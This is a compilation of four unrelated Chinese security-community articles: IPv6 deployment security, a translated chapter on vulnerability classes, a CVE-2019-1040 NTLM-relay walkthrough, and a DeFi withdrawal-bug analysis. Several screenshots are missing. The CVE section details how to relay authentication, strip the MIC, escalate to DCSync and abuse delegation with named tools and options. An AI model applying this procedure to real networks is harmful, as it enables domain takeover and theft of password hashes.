我国整个网络环境将随网络、应用、终端全面支持IPv6以及IPv6网络规模、用户规模、流量规模的增长发生翻天覆地的变化,
新的网络环境以及新兴领域将同时面临新的安全挑战。
当前IPv6规模化部署实际推行过程中面临众多问题与挑战，如网络设备升级、IPv6路由管理分配、IPv6编址规范及分配、双栈、过渡技术、应用与业务兼容适配等，与此同时IPv6安全解决方案及产品升级也遇到极大的挑战，而且IPv6规模化部署与安全升级互相促进互相影响。
前文《[下一代互联通信网络部署在即，IPv6安全防护准备好了吗](http://www.freebuf.com/articles/network/156563.html)》，已从IPv6协议安全威胁结合互联网网络安全运营视角介绍了面临的新的安全威胁及加固建议，本文重点从互联网企业IPv6规模化部署实际推行过程中面临的问题、安全影响及IPv6安全方案视角进行分析，同时介绍互联网企业IPv6网络安全升级的相关实践。
## 0x01 互联网企业IPv6规模部署改造升级
IPv6改造涉及应用、云、管、端等整体改造，涵盖运营商、网络设备厂商、移动终端设备商、CDN厂商、互联网企业以及网络安全厂商等，IPv6是网络，是IT
infrastructure,更是整个生态能力的提升。
互联网企业IPv6规模部署改造升级主要涉及网络设备、IPv6协议栈（含DNS/BGP/OSPF等协议栈）、网络管理（含海量自动化、监控工具开发等）、L4-L7网关（SLB/WAF/FW/LVS等）、IPv6地址/路由管理等、互联网质量监控和流量调度、全球质量探测系统、安全产品及防护（DDoS防护、流量清洗、网络隔离监控、业务风控等）等。
自2012年全球IPv6网络正式启动以来，阿里巴巴就已开始着手IPv6的网络研发的设备选型及升级路线改造，6年厚积薄发，阿里云已是目前国内唯一一家全面提供IPv6服务的云厂商。
阿里巴巴IPv4到IPv6的演进以及IPv6规模化部分改造遵循先外部后内部，以双栈技术为过渡的原则。
截止目前阿里云现已上线发布SLB、IPv6转换服务、云解析DNS、CDN、OSS、RDS六款产品，按照国家IPv6行动计划和统筹安排，阿里巴巴正在大力推进IPv6改造升级，2018年底前TOP50互联网企业应用（淘宝、天猫等）改造完成，可具备IPv6访问能力，同时阿里云产品会为客户提供端到端的IPv6解决方案，完成IPv4和IPv6双栈改造，50%云产品支持IPv6，包括VPC，ECS等。
阿里安全在阿里巴巴IPv6升级改造过程中基于新一代网络架构演进、协议栈变化、中间件、应用及业务等升级改造提前识别新的安全威胁、攻击面及影响，结合互联网业务改造节奏确定IPv6安全解决方案，升级整体IPv6安全检测能力及安全产品，支撑各产品为客户提供安全可靠的服务。
## 0x02互联网企业IPv6规模部署下的八大安全挑战
1. IPv6协议栈安全
新的协议栈开始规模化部署，会带来新的攻击方式和攻击面，例如分片攻击、扩展头攻击、NDP攻击等，需要提前做好服务器以及网络设备等协议栈安全配置及加固，可以参考《[下一代互联通信网络部署在即，IPv6安全防护准备好了吗](http://www.freebuf.com/articles/network/156563.html)》。
2. IPv6安全检测及扫描
IPv6
128位地址空间解决了网络地址资源数量的问题，也为物联网的发展提供了基础，同时地址空间变大使得攻击方实施IPv6扫描非常困难，但对于安全防护人员进行网络安全检测扫描也带来了新的挑战。
3. IPv6 DNS安全
IPv6网络扫描困难难以实施的情况下攻击方可能会寻找新的攻击方式，公共节点例如DNS等可能会成为优先的攻击目标，需要提前考虑应对。
4. IPv6 DDoS防护及黑洞
DDoS防护涉及用户IPv6编址规范、运营商IPv6黑洞路由支持以及互联网企业安全产品改造并对接，需要多部门及各厂商共同改造并协同配合，挑战很大。
5. IPv6 业务风控
IPv6地址是业务风控策略中关键的一环，如何更快更智能化地升级安全防控能力，并精确快速区分恶意用户及精确溯源，涉及网络、业务、应用等，需要更全面更系统地梳理应对。
6. IPv6 安全产品改造
安全产品（WAF/FW/IDS/IPS等）IPv6升级后与IPv6地址相关的策略及逻辑均要改造涉及，涉及面大，改造成本高。
7. IPv6 网络安全
IPv6地址空间大，需要做好规划及地址分配策略，同时网络访问控制及隔离、扫描都要配套升级。
8. IPv6过渡技术安全
IPv6各种过渡技术（例如隧道技术、翻译技术、IPv6/IPv4双栈技术等）安全控制措施默认情况下并不完善，需要结合认证、加密、完整性、访问控制等其他方案综合控制风险。
## 0x03 互联网企业IPv6安全升级及实践
从互联网企业安全架构来看，IPv6安全升级主要改造在系统层、网络层、存储层、应用业务层以及安全管理。
**系统层**
：主要涉及端（PC、移动端以及IoT等）、服务器、网络设备相关系统改造，安全升级主要包括：IPv6协议栈安全配置加固、IPv6服务端口最小化开放、安全补丁、IPv6协议扫描及漏洞检测等。
**网络层**
：安全升级主要包括网络设备IPv6安全配置加固、IPv6网络地址/路由规划、IPv6访问控制及隔离、IPv6网络路由安全策略、IPv6黑洞路由防DDoS、DNS/SLB/LVS/FW/IDS
IPv6、定向IPv6网络扫描等。
**存储层** ：安全升级主要包括IPv6地址库数据、黑灰产恶意IPv6数据、规则算法模型等。
**应用业务层**
：安全升级主要包括应用漏洞扫描、WAF、CC防御、反爬虫、反欺诈/作弊及其他业务风控策略等升级改造，特别是基于IP的访问控制、基于IP的地址位置、基于IP的关系网等方面。
**安全管理** ：安全升级主要包括IPv6相关的认证、鉴权、审计以及SIEM安全信息和事件管理。
另外，互联网企业IPv6规模部署和安全升级过程中，涉及到“云、管、端”，除了移动终端等厂商外，运营商是非常重要的，云和端的设备占到中国网民99%以上的规模，像中国联通、中国移动、中国电信以及教育网也是IPv6推动里面最强的一股力量，也是最核心的一部分，特别是用户IPv6地址编址及分配规范、精确溯源以及防DDoS等方面，在IPv6安全升级落地终端、运营商以及互联网企业IPv6安全需要统筹同步建设，各方协同配合才能更好地共建更安全更高效的新一代IPv6网络。
## 0x04 互联网IPv6安全未来展望
随着新一代互联网络的规模化部署和发展，IPv6网络规模、用户规模、流量规模快速增长，对于互联网IPv6安全未来发展有几点自己的看法，希望对大家做好IPv6安全防护有所帮助。
1、建立自主可控完备高效的IPv6安全防护网络需要从标准、应用、端、管、云及各行各业的共同努力，特别是IPv6编址、精确溯源等方面需要政府主导规范、行业间共建共享。
2、IPv6协议栈稳定会有一个过程，随着支持IPv6应用逐步上线，用户流量上一定规模，会有新一轮新形式的IPv6攻防对抗，特别是在业务风控、防DDoS、IPv6协议漏洞挖掘等方面。
3、IPv6随着政策牵引以及5G、IoT、云计算等对于IP地址需求大的业务不断成熟，会迎来一个快速发展期，
IPv6安全产品及检测防护升级需要重点投入并提前READY，确保新一代IPv6网络安全风险可控。 | 社区文章 |
> $$前言：$$最近在看《Attacking Network
> Protocols》这本书，感觉写的不错，比较适合新手，记录下来，方便以后查阅，顺带整理和ctf相关的知识，这一个系列分翻译和总结两部分。
# 第九章 漏洞的根本原因
>
> 这章描述因协议履行导致的安全漏洞的常见根本原因，这类漏洞不同于第七章描述的源自协议规范的漏洞。异常不必直接利用就可以将其视为漏洞。它可能会削弱协议的安全姿态，导致其他攻击更容易成功。或者导致触发更严重的异常。
阅读这章之后，你将开始了解协议中的模式，这将有助于你在分析过程中帮确认安全漏洞（直到第十章我讨论如何利用不同的类别）
在这一章节中，我假定你使用了所有可能的方法调查了协议，包括分析网络流量，对应用的二进制文件进行逆向工程，阅读了源代码，手动测试客户端和服务器以确定实际漏洞。使用诸如fuzzing等技术更容易找到一些漏洞（一种诱导网络协议数据发生变异以揭示问题的模糊测试技术），而通过查看源代码则更容易找到其他漏洞。
## 漏洞种类
当你处理安全漏洞时，将漏洞分为不同类别的集合来评估漏洞造成的风险是很有用的方法。例如，设想一个漏洞，当被利用时，可以允许攻击危害运行应用程序的系统
### 远程代码执行（Remote Code Execution）
远程代码执行是指允许攻击者在实现协议的应用程序的上下文中运行任意代码。这可能导致通过劫持应用的逻辑或者影响这正常操作期间创建的子进程的命令行来实现的。
远程代码执行漏洞，通常是安全的最关键点，因为这类漏洞允许一个攻击者通过正在执行的应用程序危害系统。这样的攻击将使攻击者能够访问应用程序可以访问的任何内容，甚至可能导致网络主机受到攻击。
### 拒绝服务（Denial-of-Service）
一般来说，应用程序被设计用来提供服务，如果存在这样一个漏洞，当该漏洞被利用导致应用程序崩溃或无响应时，攻击者可以使用该漏洞拒绝合法用户访问特定应用程序及其提供的服务。通常称之为拒绝服务漏洞。他需要的资源相当少，有时只需要一个网络包就可以打垮整个应用程序。毫无疑问，这在错误的手中可能是非常有害的。
我们可以把拒绝服务漏洞分为持久型和非持久型。
* 持久性漏洞会永久阻止合法用户访问该服务，至少持续到管理员解决这个问题。原因是利用此漏洞会破坏某些存储状态，以确保应用程序在重新启动时崩溃
* 只要攻击者发送的数据满足拒绝服务条件，非持久性漏洞就会持续存在。通常，如果允许应用程序自行重启或给定足够的时间，服务将恢复
### 信息泄露(Information Disclosure)
许多应用程序是黑箱，在正常操作中只能通过网络向用户提供某些信息。如果有办法让应用程序提供最初未设计提供的信息，例如内存信息、文件系统路径或身份验证凭据，则存在信息泄露漏洞。这些信息可能对攻击者有直接的用处，因为它可以帮助进一步利用。举个例子，这些信息可以泄露帮助远程代码执行的重要内存结构的位置
### 认证绕过（Authentication bypass）
许多应用程序需要用户提供一个认证凭据来完全访问一个应用程序，有效的凭据可能是用户名和密码，或者一个更加复杂的验证，比如一个加密地安全交换。认证限制了对资源的访问，同时也减少了当攻击者未验证时的对应用程序的攻击面。
如果有方法在不提供所有身份验证凭据的情况下对应用程序进行身份验证，则应用程序中存在身份验证绕过漏洞。这样的漏洞可能就像应用程序错误地检查密码一样简单 -例如，因为它比较了密码的简单校验和，这很容易暴力破解。或者漏洞可能是由于更复杂的问题，例如SQL注入。
### 授权绕过（authorization bypass）
用户权限并不都是平等的。应用程序通过同样的接口可以支持多种类型的用户，比如只读，低权限或者管理员。如果应用程序提供了访问资源（比如文件）的方式，基于认证的限制访问就非常必要。为了允许安全地访问资源源，必须构建授权过程以确定已将哪些权限和资源分配给用户。
当攻击者能够获得额外的权限或者访问他们没有权限访问的资源时，则存在授权绕过漏洞。比如，攻击者可能直接更改经过身份验证的用户或用户权限，或者协议可能无法正确检查用户权限
> 重点：不要把认证绕过和授权绕或混为一谈，二者之间的主要差异是身份验证绕过允许您从系统的角度作为特定用户进行身份验证;
> 授权绕过允许攻击者从不正确的身份验证状态访问资源（实际上可能是未经身份验证的）
定义完漏洞的类别之后，我们来了解一下更多细节并探索一些促使你会发现这些漏洞的协议结构。
# 下一部分
漏洞构成原因部分的翻译，再加一部分总结 | 社区文章 |
**作者：天融信阿尔法实验室**
**公众号：<https://mp.weixin.qq.com/s/NEBi8NflfaEDL2qw1WIqZw>**
# 漏洞概述
2019年6月，Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞，攻击者可以通过中间人攻击，绕过NTLM
MIC（消息完整性检查）保护，将身份验证流量中继到目标服务器。
通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器，包括域控服务器。
# 漏洞利用
## 攻击方式一：Exchange
**1.1验证环境：**
**2.2验证过程：**
① 环境搭建
* 安装配置域控制器
* 安装配置Exchange Server，参考[1]
* 在域中新建一个用于测试的账户test
② 执行ntlmrelayx.py脚本进行NTLM中继攻击，设置SMB服务器并将认证凭据中继到LDAP协议。其中--remove-mic选项用于清除MIC标志，--escalate-user用于提升指定用户权限。
③ 执行printerbug.py脚本，触发SpoolService的bug。
④
SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py，即将认证信息发送到ntlmrelayx.py。可以在下图中看到认证用户是TEST\TOPSEC$。
接着ntlmrelayx.py开始执行LDAP攻击，加上-debug选项后可以看到更详细的信息。
首先，通过遍历验证中继帐户所在用户组及权限，发现当前账户可以创建用户、可以修改test.local域的ACL，因为域中的Exchange Windows
Permissions用户组被允许修改ACL，如下图所示：
该用户组下的成员正是中继的计算机账户TOPSEC
因此脚本会首选修改ACL来提权，因为这相比创建用户的方式更隐秘一些。具体方式是通过LDAP修改域的安全描述符（Security
Descriptor），可以在下面的数据包中看到ACL中每一条具体的访问控制条目（ACE，Access Control Entries）：
⑤ 完成ACL的修改后，test就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值：
## 攻击方式二：Kerberos委派
**2.1验证环境：**
**2.2 验证过程：**
① 环境搭建
* 安装配置域控制器，同时开启LDAPS支持，因为该攻击方式需要添加新的计算机账户，必须在LDAPS进行。开启方法参考[2]
* 安装配置辅助域控制器，参考[3]
* 在域中新建一个用于测试的账户topsec，一个域管理员admin
② 和攻击方式一相同，执行ntlmrelayx.py本，使用--delegate-access选项，delegate-access选项将中继计算机帐户（这里即辅助域控制器）的访问权限委托给attacker。
③ attacker对辅助域控制器(SDC)执行printerbug.py脚本
④
printerbug.py脚本执行成功后，将触发辅助域控制器(SDC)回连Attacker主机，回连使用的认证用户是辅助域控制器(SDC)本地计算机账户TEST/TOPSEC$。
ntlmrelayx.py通过ldaps将该用户账户中继到域控服务器(DC)，因为这种攻击方式下所冒用的身份`TEST/TOPSEC$`并不在`Exchange
Windows Permissions`组内，不具有修改ACL权限，但是可以通过此身份在DC上添加一个新计算机账户（下图中EJETBTTB$）,
并修改其约束委派授权，授予它对受害计算机（辅助域控制器）的委派权限。
⑤ 使用getSP.py脚本，通过-impersonate参数模拟用户admin请求其票证，保存为ccache，admin用户为Domain
Admins组的成员，具有对辅助域控制器(SDC)的管理与访问权限。
⑥
使用上一步骤中保存的Kerberos服务票证，我们可以在目标主机(SDC)上模拟admin身份，从而执行任何操作，例如使用secretsdump转储哈希值。通过secretsdump
dump出所有密码哈希值：
# 漏洞细节
此次的攻击流程有如下两个方式：
1、
Exchange攻击流程：使用任何AD帐户，通过SMB连接到目标Exchange服务器，并触发SpoolService错误。目标服务器将通过SMB回连至攻击者主机，使用ntlmrelayx将SMB身份验证中继到LDAP。使用中继的LDAP身份验证，为攻击者帐户授予DCSync权限。攻击者帐户使用DCSync转储AD中的所有密码哈希值。
2、
Kerberos委派攻击流程：使用任何AD帐户，通过SMB连接到目标服务器，并触发SpoolService错误。目标服务器将通过SMB回连至攻击者主机，使用ntlmrelayx将SMB身份验证中继到LDAP。使用中继的LDAP身份验证，将目标服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。攻击者作为受害者服务器上的任何用户进行身份验证。
## Exchange攻击流程
下文出现的攻击流量图中,个角色与ip对应关系同上文 **验证环境搭建** ：
下文标题内容，即为攻击流程，对应流程图中红框所示的流程
如果对SMB协议不是很清楚的读者，可以先参考 **技术点分析-客户端与服务器端的SMB通信** 一节内容
#### 1、attacker使用普通AD账户登陆Exchange
在攻击的开始阶段，attacker需要确保拥有一个可使用的AD账号，这是满足触发SpoolService错误的必要条件。
首先attacker利用已拥有的AD账号，连接到远程服务器的打印服务（spoolsv.exe）。
centerAttacker通过SMB2协议登陆Exchange流程>Attacker通过SMB2协议登陆Exchange流程
Attacker通过SMB2协议登陆Exchange流量
成功的通过该阶段，就可以请求对一个新的打印作业进行更新，令其将该通知发送给指定目标。
#### 2、触发SpoolService错误
attacker通过Printerbug脚本，触发Exchange服务器SpoolService错误，强制Exchange服务器通过MS-RPRN
RPC接口向attacker进行身份验证。具体细节见 **技术点分析** 一章中的 **SpoolService/printer bug**
Attacker发送SpoolService错误payload流程
Attacker通过printerbug向Exchange发送带有payload的流量
#### 3、Exchange主机向Attacker发送Negotiate Protocol Request
在触发SpoolService错误后，Exchange服务器向Attacker进行身份验证
Exchange服务器向Attacker发送Negotiate Protocol Request，这是客户端向服务器发送第一个SMB请求，可
**参考技术点分析-客户端与服务器端的SMB通信**
Exchange向Attacker发送SMB协商请求流程
Exchange向Attacker发送SMB协商请求流量
在正常的业务场景中，用户想登陆并使用Exchange，往往需要向Exchange服务器发送SMB协商请求流量，以便验证身份并登陆。但由于SpoolService错误，在这里，Exchange向Attacker发送SMB协商请求流量，以便验证身份。这便造成了Attacker可以作为中间人身份中继此身份认证以冒充Exchange欺骗DC的机会。
4、Attacker将协商请求通过ldap中继到DC服务器
Attacker向DC中继Exchange的协商请求流程
Attacker向DC中继Exchange的协商请求流量
Attacker作为中间人，将Negotiate Protocol Request通过ldap请求中继到ad服务器
在此步骤以及以下攻击流程中，有需要将SMB身份验证通过LDAP中继至DC的环节。由于NTLM协议的工作方式，无法将SMB流量直接通过LDAP中继，因此需要对流量进行修改，而需改流量，势必需要绕过MIC验证，此处便是本次漏洞的重点，详情见
**技术点分析-MIC校验绕过** 部分
#### 5、attacker向Exchange发送Negotiate Protocol Response
Attacker向Exchange发送Negotiate Protocol Response流程
Attacker向Exchange发送Negotiate Protocol Response流量
#### 6、Exchange向attacker发送Session Setup Request
Exchange向attacker发送Session Setup Request流程
Exchange向attacker发送Session Setup Request流量
#### 7、Attacker向DC中继Session Setup Request
Attacker向DC中继Session Setup Request流程
Attacker向DC中继Session Setup Request流量
Attacker将Exchange发送来的Session Setup Request 中继给DC， DC将包含
CHALLENGE的Response发送给Attacker
#### 8、Attacker 向exchange发送Session Setup Response（CHALLENGE）
Attacker 向exchange发送Session Setup Response流程
Attacker 向exchange发送Session Setup Response流量
Attacker 将DC发出的包含challenge的Session Setup Response发送给exchange
#### 9、exchange向Attacker发送包含了身份验证请求的Session Setup
exchange向Attacker发送包含了身份验证请求的Session Setup Request流程
exchange向Attacker发送包含了身份验证请求的Session Setup流量
我们可以看到上图中的认证用户为`TEST\TOPSEC$`，而不是运行`Exchange`的`SYSTEM`账户，这是因为`SYSTEM`账户具有太高权限，如果用此帐户对网络资源进行身份验证，则会出现安全问题。所以当访问网络资源时，使用本地计算机的网络帐户对网络进行身份验，（形式为`domain\computername$`，即`TEST\TOPSEC$`）
Exchange收到challenge后，向attacker发送包含了身份验证请求的Session Setup流量
#### 10、Attacker向 DC中继含有Exchange的身份认证的Session Setup Request
Attacker将身份认证请求中继到DC，并使用Exchange的身份认证通过DC认证
Attacker向 DC中继Session Setup Request 流程
Attacker向 DC中继Session Setup Request 流量
DC认证通过Exchange身份，并向Attcker发送认证通过的Response
此时，DC对Attacker的身份验证结束，Attacker成功冒用Exchange身份
由于安装Exchange后，Exchange在Active
Directory域中具有高权限，Exchange的本地计算机账户TOPSEC$会被加入用户组Exchange Trusted
Subsystem，该用户组又隶属于Exchange Windows Permissions。Exchange Windows
Permissions组可以通过WriteDacl方式访问Active
Directory中的Domain对象，该对象允许该组的任何成员修改域权限，从而可以修改当前域ACL达到提权目的。
使用提权后的用户或计算机可以执行域控制器通常用于复制的同步操作，这允许攻击者同步Active Directory中用户的所有哈希密码。
同步Active Directory中用户的所有哈希密码
## Kerberos委派攻击流程
下文出现的攻击流量图中,个角色与ip对应关系同上文 **验证环境搭建** ：
Kerberos委派攻击流程与Exchange攻击利用，在DC对Attacker的身份验证结束之前的阶段是类似的。区别在于后续提权过程，下面介绍下Kerberos委派攻击后续攻击流程。
在attacker冒用SDC身份后，由于SDC计算机身份没有修改访问控制列表(ACL)的权限，无法直接提权。而后续提权利用中的S4U2Self不适用于没有SPN的帐户。在域环境中，任何域用户都可以通过MachineAccountQuota创建新的计算机帐户，并为其设置SPN。Attacker通过此方式新建一个域中的计算机账号。这一过程通过LDAP实现并设置账户与密码
，如下图
Ntlmrelayx工具成功创建计算机账户
DC上可见computers列表中新创建的名为EJETBTTB的计算机
在域中新的计算机账户EJETBTTB(下图中的service A)建立成功后，后续攻击如下图攻击步骤
攻击步骤
#### 1、攻击者为Service A配置了基于资源的约束委派
由于通过S4U2Self请求到的TGS forwardable标志位为 Non-forwardable,这意味着该TGS服务票据是不可转发的，不可以在接下来的S4U2Proxy中进行转发。但是不可转发的TGS竟然可以用于基于资源的约束委派，S4U2Proxy会接收这张不可转发的TGS。由于我们拥有Service
A的计算机账号以及密码，所以在这里可以为Service A到SDC配置了基于资源的约束委派，将默认的约束委派更改为基于资源的约束委派，以便后续攻击。
#### 2、Service A 调用S4U2Self向认证服务器(SDC)为admin请求访问自身的服务票据.
通过国外安全研究员Elad Shami的研究可知，无论服务账号的 _UserAccountControl_ 属性是否被设为
_TrustedToAuthForDelegation_ ，
服务自身都可以调用S4U2Self为任意用户请求访问自己的服务票据，也就是说，这里Service A
可以调用S4U2Self向SDC为admin用户申请可访问自身的服务票据.
#### 3、SDC将为admin用户申请的访问Service A的TGS发送给Service A
#### 4、Service A通过S4U2Proxy 转发TGS，并为admin申请访问SDC票据
#### 5、SDC将为admin用户申请的访问SDC的TGS发送给Service A
在这里，Service A为Attacker创建并控制，Attacker获得TGS票据，利用该票据以admin身份访问SDC，完成提权
## 技术点分析
在理清利用流程后，接下来详解利用流程中的技术点
#### 客户端与服务器端的SMB通信
补充介绍一些关于SMB通信协议相关内容，通过这部分内容，可以加深对的漏洞流程的理解。对SMB通信协议熟悉的读者，可以跳过此部分
客户端与服务器端的SMB通信流程
**SMB2 / Negotiate Protocol**
Negotiate Protocol是在SMB2的任何新TCP会话上发出的第一个SMB2命令，它用于协商要使用的协议版本。
Negotiate Protocol命令分为Negotiate Protocol Request/ Negotiate Protocol
Response两部分：
1. Negotiate Protocol Request： 客户端向服务器发送第一个SMB请求：“Negotiate Protocol Request”。这个请求包含了客户端所支持的各种 SMB Dialect。
2. Negotiate Protocol Response: 服务器收到该请求后，选择一个它支持的最新版本（比如NTLM 0.12），再通过“Negotiate Protocol Response”回复给客户端。
**SMB2 / Session Setup**
SMB2 / Session Setup命令用于对用户进行身份验证并获取分配的UserID。此命令通常是SMB2 / Negotiate
Protocol阶段完成后从客户端发出的第一个命令。
Session Setup分为两部分：
1. Session Setup Request: Negotiate Protocol阶段结束之后，，客户端请求和服务器建立一个session，在客户端发送的Session Setup Request里，包含了身份验证请求。
2. Session Setup Response: 服务器回复是否通过验证。
#### SpoolService/printer bug
在攻击利用流程中，需要使用到一个名为printerbug.py的工具，此工具触发SpoolService/printer
bug，强制Windows主机通过MS-RPRN RPC接口向攻击者进行身份验证。
Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信，默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象，该对象监视对打印机对象的更改，并将更改通知发送到打印客户端。
任何经过身份验证的域成员都可以连接到远程服务器的打印服务（spoolsv.exe），并请求对一个新的打印作业进行更新，令其将该通知发送给指定目标。之后它会将立即测试该连接，即向指定目标进行身份验证（攻击者可以选择通过Kerberos或NTLM进行验证）。另外微软表示这个bug是系统设计特点，无需修复。
在本次漏洞的利用过程中，我们通过printerbug.py脚本触发了上述bug，强制Exchange服务器对攻击者（192.168.123.69）发起身份验证，而Exchange默认是以SYSTEM身份执行的。
下图是printerbug.py执行后的数据包：
（1） 第一次身份验证由攻击者向exchange服务器发起，以便可以远程连接到Spoolsv服务，可以看到使用的账号是一个普通的域成员账号test；
（2）
接着，printerbug.py脚本中调用RpcRemoteFindFirstPrinterChangeNotificationEx()，请求对一个新的打印作业进行更新，并令其将该通知发送给我们指定的attackerhost（192.168.123.69）。这部分数据就是上图中Encrypted
SMB3中的一部分。
（3）
第二次身份验证便是使Exchange向attackerhost（192.168.123.69）发起的身份验证，用户为TEST\TOPSEC对网络进行身份验证）
#### SMB中继LDAP思路以及难点
在攻击利用流程中，需要将SMB身份验证通过LDAP中继至DC，由于NTLM协议的工作方式，无法将SMB流量直接通过LDAP中继，将SMB流量通过LDAP中继难点以及绕过思路如下：
1、 默认情况下，SMB中的NTLM身份验证:NEGOTIATE_SIGN为set状态
2、 将此SMB流量中继到LDAP时，由于此时的Negotiate
Sign设置为set，该标志会触发LDAP签名，而此SMB流量为Attacker从Exchange服务器上中继而来，无法通过LDAP的签名校验，从而被LDAP忽略，导致攻击失败
3、 为了防止攻击失败，需要将NEGOTIATE_SIGN设置为Not set
4、 MIC保护不被篡改，如果简单的改包，将NEGOTIATE_SIGN设置Not set，将会导致MIC校验不通过
5、 需要寻找一种可以绕过MIC校验的方式，以便更改包中的值
6、 在绕过MIC校验之后，更改NEGOTIATE_SIGN值为Not set，使得在不触发LDAP签名校验的情况下，将SMB中继LDAP
#### MIC校验
NTLM身份验证由3种消息类型组成：
NTLM_NEGOTIATE，NTLM_CHALLENGE，NTLM_AUTHENTICATE。
NTLM_NEGOTIATE，NTLM_CHALLENGE，NTLM_AUTHENTICATE对应位于SMB协议中的SessionSetup阶段
Clinet与Server交互流程图
Clinet与Server交互流量
SMB认证协议流程
为了确保恶意行为者不在传输过程中处理消息，在NTLM_AUTHENTICATE消息中添加了一个额外的MIC（消息完整性代码）字段。
存放于NTLM_AUTH中的MIC
MIC是使用会话密钥应用于所有3个NTLM消息的串联的HMAC_MD5，该会话密钥仅对启动认证的帐户和目标服务器是已知的。
因此，试图篡改其中一条消息的攻击者（例如，修改签名协商）将无法生成相应的MIC，这将导致攻击失败。
#### MIC校验绕过
Microsoft服务器允许无MIC 的NTLM_AUTHENTICATE消息。
如果想要将SMB身份验证中继到LDAP，并完成中继攻击，可以通过如下步骤：
取消MIC校验以确保可以修改数据包中的内容：
（1）从NTLM_AUTHENTICATE消息中删除MIC
（2）从NTLM_AUTHENTICATE消息中删除版本字段（删除MIC字段而不删除版本字段将导致错误）。
#### LDAP签名绕过
在绕过MIC校验之后，可以修改NEGOTIATE_SIGN值以便将SMB流量顺利通过LDAP签名校验
将NEGOTIATE_SIGN设置为not set以绕过LDAP验证
（1）
取消设置NTLM_NEGOTIATE消息中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN
（2）
取消设置NTLM_AUTHENTICATE消息中的以下标志：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION。
#### smb中继LDAP流程
为了实现SMB中继LDAP流程，这里使用ntlmrelayx.py工具作为中继
Ntlmrelayx中继流程如下：
1、
取消设置NTLM_NEGOTIATE消息中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）
Exchange-Attacker-DC交互流量
Exchange向Attacker发送NTLMSSP_NEGOTIATE包内容
Attacker将NTLMSSP_NEGOTIATE通过LDAP中继到DC包内容
可见，在通过LDAP中继时，已经取消设置NTLM_NEGOTIATE消息中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）
2、从NTLM_AUTHENTICATE消息中删除MIC以及版本字段
Exchange-Attacker-DC交互流量
Exchange向Attacker发送NTLMSSP_AUTH
Attacker将NTLMSSP_AUTH通过LDAP中继到DC
在通过LDAP中继时，NTLM_AUTHENTICATE消息中MIC以及版本字段已被删除
3、取消设置NTLM_AUTHENTICATE消息中的以下标志：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION
Exchange-Attacker-DC交互流量
Exchange向Attacker发送NTLMSSP_AUTH包内容
Attacker将NTLMSSP_AUTH通过LDAP中继到DC包内容
在通过LDAP中继时，
NTLM_AUTHENTICATE消息中的以下标志：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION已经被设置为’NOT
set’
# 参考链接
[1] [Exchange Server 2013
一步步安装图解](https://www.cnblogs.com/jianyus/p/3170732.html)
[2] [Enable LDAP over SSL (LDAPS) for Microsoft Active Directory
servers](https://gist.github.com/magnetikonline/0ccdabfec58eb1929c997d22e7341e45)
[3] [Windows Server 2012 R2 辅助域控制器搭建](http://www.mamicode.com/info-detail-2275954.html)
[4] [滥用基于资源约束委派来攻击Active
Directory](https://www.cnblogs.com/backlion/p/10537813.html)
[5] [Abusing S4U2Self: Another Sneaky Active Directory
Persistence](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence)
[6][利用CVE-2019-1040 - 结合RCE和Domain Admin的中继漏洞](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/)
[7] [滥用Exchange：远离域管理员的一个API调用](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/)
[8] [The SYSTEM Account](https://wiki.samba.org/index.php/The_SYSTEM_Account)
[9] [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack
Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#generic-dacl-abuse)
* * * | 社区文章 |
**作者：知道创宇404区块链安全研究团队
日期：2021年3月12日**
## 前言
Big Data Protocol
是为Web3.0数据市场提供动力的DeFi协议；该协议通过由专业数据提供商组成的网络，对具有商业价值的数据进行令牌化，并使数据令牌在Uniswap上具有流动性；用户通过为数据令牌提供流动性来赚取数据。挖矿机制上线后总锁仓量一度达到
65 亿美元，位列 DeFI 项目锁仓量榜首。
据 Big Data Protocol 官方群消息，2021年3月12日，区块高度达到 12022010 时 BDP
挖矿结束，用户暂时无法正常提出挖矿资产。
（<https://cn.etherscan.com/tx/0x15aed01b104f06fa8876db2bd86894791bd0830a36fc28f1d7590ab8d77c3336>）
消息发出后，大量用户通过直接调用合约的方式（emergencyWithdraw）提取挖矿资产，但无法提取挖矿所得的 BDP 奖励。
## 分析
当用户调用合约的`withdraw`函数领取奖励时，合约内会调用 updatePool 函数。
`updatePool`函数主要用于根据当前区块时间点，更新相关数据，并向质押功能合约铸币，用于奖励分发
而提取失败的问题根源就在这个`mint`铸币函数中
`mint`函数中会校验`seedPoolAmount`变量大于0，否则全部回滚。但由于`seedPoolAmount`的奖励在结束挖矿之前已全部分发，所以用户调?合约时?法增发代币，交易直接
revert，导致提取奖励失败。
（<https://bloxy.info/tx/0x15aed01b104f06fa8876db2bd86894791bd0830a36fc28f1d7590ab8d77c3336>）
## 总结
通过对整个事件分析来看，本次事故并未造成用户的本金损失；主要原因在于对合约提现函数的依赖条件考虑不充分，项目上线时应当模拟合约的不同状态，进行充分测试验证。
## 建议
